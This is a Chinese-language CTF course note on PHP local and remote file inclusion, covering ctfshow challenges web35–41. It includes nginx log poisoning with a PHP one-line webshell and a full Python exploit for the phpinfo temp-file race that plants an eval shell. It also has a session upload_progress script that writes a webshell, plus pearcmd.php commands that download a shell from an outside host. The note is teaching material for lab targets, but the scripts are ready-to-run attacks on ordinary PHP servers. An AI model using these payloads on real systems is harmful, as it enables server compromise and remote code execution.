ctfshow私教课第五节
文件包含
include “/var/www/html/flag.php”;
- 文件名可控
$file=$_GET[‘file’];
include $file.”.php”;
对于我们提交的任何东西后面加一个.php,使用php伪协议,可以使用data协议,ctfshow私教课web35使用的是?file=data://text/plain/,拿到的flag
- 文件后缀可控
$file=$_GET[‘file’];
include “/var/www/html/“.$file; //不能使用伪协议了,伪协议需要前面的固定格式
这时候只能使用虚拟目录或者其他的目录跳转
例如 /var/www/html../../../../../../../flag.php,就可以包含进去了
高级文件包含
1.nginx日志文件包含
nginx可以认为它是http的一个服务器软件,提供了http服务,默认监听80端口
http://localhost/123.php?a=b
nginx会首先判断123.php是否是.php后缀,如果是,它就会进行一次转发,转发到本地的127.0.0.1的9000端口
9000端口,是被另一个服务器软件监听,它提供解析php文件的服务,我们把这个软件,叫做php-fpm
专门解析php后缀的文件,执行里面的代码,将执行结果交回nginx,再由nginx返回给http的客户端,这个客户端就是浏览器
如果解析出来是http://localhost/123.jpg
123.jpg 非php后缀,那么由自己处理,nginx会找到web目录,读取123.jpg的内容并返回给浏览器,并同时告诉浏览器,我返回的文件内容是一个jpg图片,你按照图片模式进行渲染,于是,浏览器页面上就能显示出一张图片出来
这也就是 动静态分离

对于nginx我们除了客户端的一个信息,我们什么也控制不了,就像图中我们修改User-Agent为CTFshow,再上传时,日志的客户端信息就变成了CTFshow
即使我们访问一个不存在的文件,日志中也是能看到的,并且携带着我们修改之后的服务端信息

我们尝试传入phpinfo()看看,在客户端信息和访问文件上都写上


这里通过访问文件弄上去的已经自动经过url编码了,已经无法被认作php代码执行了在这里,但是我们通过修改服务器信息上传上去的php代码仍旧保持原来的模样,可以被认为是php代码执行
ctfshow私教课web37 (nginx日志)
1 2 3 4 5
| <?php error_reporting(0); highlight_file(__FILE__); include "file:///var/www/html/".$_GET['file']; ?>
|

在nginx下,日志的默认存储路径是/var/log/nginx/access.log,我们访问这个路径就能看到日志
我们可以利用这个来看到我们通过修改服务器信息上传的恶意php代码的执行结果
注意修改后的服务器信息,也就是php恶意代码需要一次性写对,不然会破坏环境,会出现致命错误,后面的东西就没办法执行下去了,就只能重新打开环境了
此题首先上传修改后的服务器信息也就是php的一句话木马,借助一句话木马进行我们的操作
?file=../../../../的作用是上溯,这样我们就能看到我们已知的任意路径内的内容
?file=../../../../../var/log/nginx/access.log根据nginx的默认路径读取日志
1=system(“tac /f1ag”);借助一句话木马执行我们的系统命令拿到flag
日志包含的前提条件
- 有文件名可控的文件包含点
像前面后缀强制添加.php的就没办法使用日志包含
- 有可以访问到的日志路径 默认nainx的日志路径为 /var/log/nginx/access.log
如果路径被改了,就无法使用日志包含了
2. 临时文件包含
- 这个方法跑出来需要时间很长,而且跑不跑出来都是看运气
在之前遇到的,在linux系统,如果我们强制上传文件的话,文件会被存储在默认路径下
默认路径为/tmp/php??????
文件包含,不能包含/???/????????[@-[]
原因是文件包含不支持通配符
我们要得到,明确的临时目录下php开头的随机文件的文件名字全称,才能够使用文件包含
默认情况下,生命周期与php脚本一致,在脚本运行过程中,存在,脚本运行结束后,临时文件会被自动删除
突破点
- 在php脚本运行过程中,包含临时文件
- 在脚本运行过程中,得到完整的临时文件包含
满足这两个条件,我们才能使用这个临时文件包含
php配置文件中,默认,每次向浏览器发送内容时,不是一个字符一个字符发送的,它是一块内容一块内容发送的,每4096个字符发送一次。
我们可以不断地上传,使得字符数超过4096个字符,让它分多次进行发送,从而减慢它的发送速度,是使得在结束之前,我们能够找到临时文件的地址,然后立刻进行文件包含
假设我们能够访问phpinfo的结果 FILES就会存在tmp_name临时文件名字,读取后可以成功文件包含
专业术语叫 phpinfo_lfi
ctfshow私教课web38 (临时文件包含)
1 2 3 4 5 6
| <?php error_reporting(0); highlight_file(__FILE__);
include "file:///var/www/html/".$_GET['file']; ?>
|
附上攻击脚本
这个脚本比较老,需要使用python27运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163
| import sys import threading import socket def setup(host, port): TAG="Security Test" PAYLOAD="""%s\r <?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG REQ1_DATA="""-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r %s -----------------------------7dbff1ded0714--\r""" % PAYLOAD padding="A" * 5000 REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r HTTP_ACCEPT: """ + padding + """\r HTTP_USER_AGENT: """+padding+"""\r HTTP_ACCEPT_LANGUAGE: """+padding+"""\r HTTP_PRAGMA: """+padding+"""\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: %s\r Host: %s\r \r %s""" %(len(REQ1_DATA),host,REQ1_DATA)
LFIREQ="""GET /?file=%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ return (REQ1, TAG, LFIREQ) def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] => ") fn = d[i+17:i+31] except ValueError: return None s2.send(lfireq % (fn, host)) d = s2.recv(4096) s.close() s2.close() if d.find(tag) != -1: return fn counter=0 class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter+=1 try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "\nGot it! Shell created in /tmp/g" self.event.set() except socket.error: return def getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq) d = "" while True: i = s.recv(4096) d+=i if i == "": break
if i.endswith("0\r\n\r\n"): break s.close() i = d.find("[tmp_name] => ") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print "found %s at %i" % (d[i:i+10],i)
return i+256 def main(): print "LFI With PHPInfo()" print "-=" * 30 if len(sys.argv) < 2: print "Usage: %s host [port] [threads]" % sys.argv[0] sys.exit(1) try: host = socket.gethostbyname(sys.argv[1]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1], e) sys.exit(1) port=80 try: port = int(sys.argv[2]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2], e) sys.exit(1) poolsz=10 try: poolsz = int(sys.argv[3]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3], e) sys.exit(1) print "Getting initial offset...", reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush() tp = [] for i in range(0,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! \m/" else: print ":(" except KeyboardInterrupt: print "\nTelling threads to shutdown..." e.set() print "Shuttin' down..." for t in tp: t.join() if __name__=="__main__": main()
|

首先不用管这个脚本出现的错误,使用python27的powershell执行,首先输入1处的内容,再输入2处的内容,注意删除http://和8080之前的/才可以执行,当出现Getting initial offset…的时候代表执行成功,接下来需要漫长的等待
3.php的session文件包含,upload_progress文件包含
强制文件上传时,通过上传一个固定的表单PHP_SESSION_UPLOAD_PROGRESS可以往服务器的session文件内写入我们的指定内容,然后在脚本运行过程中,包含,包含后可以执行里面的php代码
首先我们需要知道session文件包含的原理,当我们再cookie传入PHPSESSID=???的时候,在临时文件中会生成一个sess_???的文件,我们通过上传到这个文件危险的php代码,在调用这个文件的时候,就执行了我们php恶意代码,从而拿到flag
下面是session文件包含的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import requests import threading session = requests.session() sess="ctfshow" file_name="/var/www/html/1.php" file_content='<?php eval($_POST[1]);?>' url = "http://17bd4e8c-5837-44b7-b73c-ada8a17f9726.challenges.ctfer.com:8080/" data = { "PHP_SESSION_UPLOAD_PROGRESS":f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>" } file= { 'file':'ctfshow' } cookies={ 'PHPSESSID':sess } def write(): while True: r = session.post(url=url,data=data,files=file,cookies=cookies) def read(): while True: r = session.post(url=url+"?file=../../../../../../tmp/sess_ctfshow") if "success" in r.text: print("shell 地址为:"+url+"/1.php") exit() threads = [threading.Thread(target=write),threading.Thread(target=read)] for t in threads: t.start()
|
ctfshow私教课web39(session文件包含)
1 2 3 4 5
| <?php error_reporting(0); highlight_file(__FILE__); include "file:///var/www/html/".$_GET['file']; ?>
|
首先我们首先要传入cookie为PHPSESSID=ctfshow,然后复制网址到脚本中,执行脚本,拿到网址,使用post传参1=system(“tac /*”);拿到flag



我们就可以拿到flag了
4.pear文件包含
条件1 有文件的包含点
条件2 开启了pear扩展
条件3 配置文件中register_argc_argv 设置为On,而默认为Off
满足上述三个条件才可以进行pear的rce
PEAR扩展
默认安装位置是 /user/local/lib/php/
利用Pear扩展进行文件包含
方法一 远程文件下载
?file=/usr/local/lib/php/pearcmd.php&ctfshow+install+-R+/var/www/html/+http://your-shell.com/1.php
ctfshow私教课web40(pear文件包含1.远程文件下载)
1 2 3 4 5 6 7 8 9
| <?php error_reporting(0); $file = $_GET['file']; if(isset($file) && !preg_match("/input|data|phar|log|filter/i",$file)){ include $file; }else{ show_source(__FILE__); if(isset($_GET['info'])){ phpinfo(); } }
|

远程下载木马到指定目录,http://your-shell/1.php的源码内容为一句话木马,ctfshow处的内容可以改为任意内容,然后访问第一个圈处的网址,使用POST传参,拿到我们的flag。1=system(“tac /*”);

方法二 生成配置文件,配置项传入我们恶意的php代码的形式
配置型的形式 a=b
username=root
man_dir=
文件名可以设置为ctfshow.php
这个需要使用BP进行,不然会被编码就无法进行了
?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctf.php+-d+man_dir=+-s+
生成后,再使用火狐访问?file=/tmp/ctf.php就可以执行我们的一句话木马了
方法三 写配置文件方式
也是基于pearcmd.php的
?file=/usr/local/lib/php/pearcmd.php&aaa+config-create+/var/www/html/+3.php
使用BP进行抓包发送,访问3.php,再反弹shell

不能直接使用Hacber进行,不然会被编码,就无法执行了
5.远程文件包含
?file=http://731572802/1
通过域名转数字的形式,可以不用.来构造远程文件地址
那串数字是your-shell.com转ip后再由ip转整数后得到的,your-shell.com/1页面内容是一句话木马
包含这个页面我们就相当于写入了一个一句话木马,我们通过这个木马就可以执行我们的系统命令了
ctfshow私教课web41
1 2 3 4 5 6 7 8
| <?php error_reporting(0); highlight_file(__FILE__); $file = $_GET['file']; if(preg_match("/\.|php|data/i",$file)){ die("hacker"); } include $file; ?>
|

远程文件包含拿到flag